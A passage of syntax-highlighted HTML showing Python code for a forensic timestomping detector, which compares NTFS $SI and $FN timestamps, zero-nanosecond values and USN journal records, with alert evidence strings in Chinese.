style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    si_modified</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'SILastModified'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    si_accessed</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'SILastAccess'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    si_mft_changed</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'SIMFTChanged'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    fn_created</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">fn_c</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    fn_modified</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FNLastModified'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    fn_accessed</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FNLastAccess'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    fn_mft_changed</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FNMFTChanged'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    si_created_raw</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">si_c</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> fn_created_raw</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">fn_c</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">load_usn_csv</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> csv_path</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">with</span><span class=\"token plain\"> </span><span class=\"token builtin\">open</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">csv_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'r'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> encoding</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">'utf-8'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">as</span><span class=\"token plain\"> f</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> row </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> csv</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">DictReader</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">f</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                entry </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FileMFTEntryNumber'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                ts </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'TimeStamp'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                reason_code_str </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'ReasonCode'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'0'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> reason_code_str</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">startswith</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'0x'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    reason_code </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">reason_code_str</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">16</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                </span><span class=\"token keyword\" style=\"color:#00009f\">else</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    reason_code </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">reason_code_str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">usn_records</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">entry</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">UsnRecord</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    timestamp</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">ts</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> reason</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'Reason'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">''</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    reason_code</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">reason_code</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> mft_entry</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">entry</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    file_name</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'Name'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">''</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">detect_all</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        alerts </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> entry</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> mft </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">mft_records</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">items</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">extend</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">_check_si_fn_discrepancy</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">extend</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">_check_nanosecond_zero</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">extend</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">_check_usn_mft_conflict</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> alerts</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">_check_si_fn_discrepancy</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> mft</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        alerts </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        threshold </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> timedelta</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">seconds</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token builtin\">abs</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token plain\"> mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">fn_created</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> threshold</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                file_path</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">full_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> severity</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"HIGH\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                alert_type</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"SI_FN_CREATION_MISMATCH\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                evidence</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"$SI 创建时间: </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">mft</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">si_created</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                          </span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">f\"$FN 创建时间: </span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">{</span><span class=\"token string-interpolation interpolation\">mft</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">.</span><span class=\"token string-interpolation interpolation\">fn_created</span><span class=\"token string-interpolation interpolation punctuation\" style=\"color:#393A34\">}</span><span class=\"token string-interpolation string\" style=\"color:#e3116c\">\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                si_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> fn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">fn_created</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                usn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> logfile_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> alerts</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">_check_nanosecond_zero</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> mft</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        alerts </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created_raw </span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">and</span><span class=\"token plain\"> check_nanosecond_zero</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created_raw</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            alerts</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                file_path</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">full_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> severity</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"MEDIUM\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                alert_type</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">\"NANOSECOND_ZERO\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                evidence</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"$SI 纳秒全零: 可能使用 PowerShell/fsutil\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                si_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">mft</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">si_created</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> fn_time</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token boolean\" style=\"color:#36acaa\">None</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span 